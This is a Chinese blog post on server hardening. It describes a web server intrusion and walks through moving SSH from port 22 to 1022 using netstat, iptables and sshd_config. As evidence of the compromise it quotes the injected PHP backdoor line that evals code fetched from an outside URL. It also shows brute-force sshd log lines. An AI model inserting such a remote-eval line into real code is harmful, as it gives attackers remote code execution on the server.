服务器优化之修改ssh服务的默认端口

[文章作者:磨延城 转载请注明原文出处: https://mo2g.com/view/57/ ]

默认情况下,ssh服务使用的是22端口,所以骇客们都会先从22端口下手,通过“暴力手段”获取登录密码。所以,磨途歌建议修改一下ssh服务的默认端口,这样能一定程度的过滤掉不一些怀好意的小朋友,也许对骇客不起多大的作用,但多做点防护总没坏处的。

最近公司因为人事调动,老板让我做一下思想准备,国庆后负责公司的技术部门,虽然很高兴,但说真的,压力很大,因为残留了很多历史问题。我趁着国庆假期调整了心态,准备好了要大展拳脚,然而就在国庆上班的第二天,磨途歌发现,公司的服务器被入侵了,web服务器上出现了不应该存在的东西!

首先是一个公用php配置文件,被加上了如下代码

eval(file_get_contents('http://600sun.com/js/g.txt'));

而且web目录中多出了一个文件夹,其中包含了1万5千多个关于六合彩之类的静态页面。

当时的,第一反应就是马上修改密码。

密码修改后,分析了一下登录日志,才发现10月6号之前的日志没了,剩下的都是类似下边的日志。

Oct  6 05:37:04 localhost sshd[1437]: Address 122.11.62.132 maps to mali.izhenxin.com
Oct  6 05:37:04 localhost sshd[1437]: pam_unix(sshd:auth): authentication failure; 
Oct  6 05:37:07 localhost sshd[1437]: Failed password for root from 122.11.62.132 
Oct  6 05:37:07 localhost sshd[1438]: Received disconnect from 122.11.62.132: 11:

哎,看来,是得解决一下历史残留问题,优化一下服务器了。

下边就开始动手,先从ssh服务开始。

默认情况下,ssh服务使用的是22端口,所以骇客们都会先从22端口下手,通过“暴力手段”获取登录密码。所以,磨途歌建议修改一下ssh服务的默认端口,这样能一定程度的过滤掉不一些怀好意的小朋友,也许对骇客不起多大的作用,但多做点防护总没坏处的。

在修改ssh服务使用的端口前,先确定要使用的新端口是否已经被程序占用,比如我们想更换的新端口为1022,执行下边的命令可以查看1022端口的使用情况。

[root@mo2g.com ~]# netstat -apn|grep :1022

如果没有任何输出,那么证明1022端口可以使用,如果有输出,不表示已经被占用,请先观察一下,例如下边,我们检测22端口,输出如下

[root@zzx_web hosts]# netstat -apn|grep :22  
tcp  0 0 127.0.0.1:2208  0.0.0.0:*            LISTEN      4759/./hpiod 
tcp  0 0 127.0.0.1:2207  0.0.0.0:*            LISTEN      4766/python 
tcp  0 0 121.31.6.18:80  117.136.14.82:22778  ESTABLISHED 5644/nginx
tcp  0 0 121.31.6.18:80  117.136.14.82:22497  ESTABLISHED 5644/nginx
tcp  0 0 121.31.6.18:80  117.136.14.82:22675  ESTABLISHED 5644/nginx

仔细检测输出的数据,发现22端口并没有被使用,因为|grep :22只是简单的过滤掉不包含:22的数据,包含:22的都显示出来了。

确定端口后,就开始下一步工作:配置iptables防火墙。

先检测一下iptables是否运行,如果没有运行可以跳过防火墙的配置,反之必须配置防火墙。

检测防火墙运行状态

[root@mo2g.com ~]# /etc/init.d/iptables status

如果输出

iptables: Firewall is not running.

那么可以跳过防火墙的配置操作,如果有类似下边的输出,就得添加防火墙规则

[root@mo2g.com ~]# /etc/init.d/iptables status
表格:filter
Chain INPUT (policy ACCEPT)
num  target     prot opt source               destination         
1    RH-Firewall-1-INPUT  all  --  0.0.0.0/0            0.0.0.0/0           

Chain FORWARD (policy ACCEPT)
num  target     prot opt source               destination         
1    RH-Firewall-1-INPUT  all  --  0.0.0.0/0            0.0.0.0/0           

Chain OUTPUT (policy ACCEPT)
num  target     prot opt source               destination         

Chain RH-Firewall-1-INPUT (2 references)
num  target     prot opt source               destination

打开iptables文件,配置文件如下

[root@zzx_web hosts]# vi /etc/sysconfig/iptables
# Firewall configuration written by system-config-securitylevel
# Manual customization of this file is not recommended.
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
:RH-Firewall-1-INPUT - [0:0]
-A INPUT -j RH-Firewall-1-INPUT
-A FORWARD -j RH-Firewall-1-INPUT
-A RH-Firewall-1-INPUT -i lo -j ACCEPT
-A RH-Firewall-1-INPUT -p icmp --icmp-type any -j ACCEPT
-A RH-Firewall-1-INPUT -p 50 -j ACCEPT
-A RH-Firewall-1-INPUT -p 51 -j ACCEPT
-A RH-Firewall-1-INPUT -p udp --dport 5353 -d 224.0.0.251 -j ACCEPT
-A RH-Firewall-1-INPUT -p udp -m udp --dport 631 -j ACCEPT
-A RH-Firewall-1-INPUT -p tcp -m tcp --dport 631 -j ACCEPT
-A RH-Firewall-1-INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT
-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT
-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 443 -j ACCEPT
-A RH-Firewall-1-INPUT -j REJECT --reject-with icmp-host-prohibited
COMMIT

我们要添加的是1022端口,就可以把22端口的规则复制一遍,修改成1022就好了,修改后如下

[root@zzx_web hosts]# vi /etc/sysconfig/iptables
# Firewall configuration written by system-config-securitylevel
# Manual customization of this file is not recommended.
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
:RH-Firewall-1-INPUT - [0:0]
-A INPUT -j RH-Firewall-1-INPUT
-A FORWARD -j RH-Firewall-1-INPUT
-A RH-Firewall-1-INPUT -i lo -j ACCEPT
-A RH-Firewall-1-INPUT -p icmp --icmp-type any -j ACCEPT
-A RH-Firewall-1-INPUT -p 50 -j ACCEPT
-A RH-Firewall-1-INPUT -p 51 -j ACCEPT
-A RH-Firewall-1-INPUT -p udp --dport 5353 -d 224.0.0.251 -j ACCEPT
-A RH-Firewall-1-INPUT -p udp -m udp --dport 631 -j ACCEPT
-A RH-Firewall-1-INPUT -p tcp -m tcp --dport 631 -j ACCEPT
-A RH-Firewall-1-INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT
-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 1022 -j ACCEPT
-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT
-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 443 -j ACCEPT
-A RH-Firewall-1-INPUT -j REJECT --reject-with icmp-host-prohibited
COMMIT

然后让防火墙读取最新的配置,就可以修改ssh服务的端口了,切记,确保iptables防火墙配置好,不然就连不上ssh服务了!

[root@zzx_web hosts]# /etc/init.d/iptables reload

修改ssh服务使用的端口有两种方法:

1)立即生效,但重启后失效

[root@mo2g.com ~]# sshd -p 1022

2)修改/etc/ssh/sshd_config文件,然后重新加载ssh配置,永久生效

在/etc/ssh/sshd_config文件中,第13行找到类似下边的语句

#Port 22
#Protocol 2,1
Protocol 2
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

把#Port 22前边的井号去掉,把22改为想要的端口

Port 1022
#Protocol 2,1
Protocol 2
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

最后让ssh服务读取最新的配置文件,就开始使用新端口了。

[root@mo2g.com ~]# /etc/init.d/sshd reload

提示:虽然重启了ssh服务,但当前的ssh连接仍然可以使用,不要着急关闭,打开一个新的ssh连接,测试一下更新端口后ssh能不能正常登录,如果不能连上,还能用原来的ssh连接找原因,做最后的补救!

    评论:

    1. unknown 回复2015年05月30日 19时36分
      磨者
      The company founded in 1985, has total assets of RMB1.52 billion, occupies a total area of 800,000 square meters, and employs 3,000 staff members, including 98 senior engineers and technicians and 319 mid-level engineers and technicians.
      Filter Cloth http://www.hbfiltercloth.com/

    2. 我来说两句:

        切换  

      磨途歌检测发现,您当前使用的浏览器版本过低,要想使用画板模式,请先更新浏览器

        切换  

      磨途歌随机验证码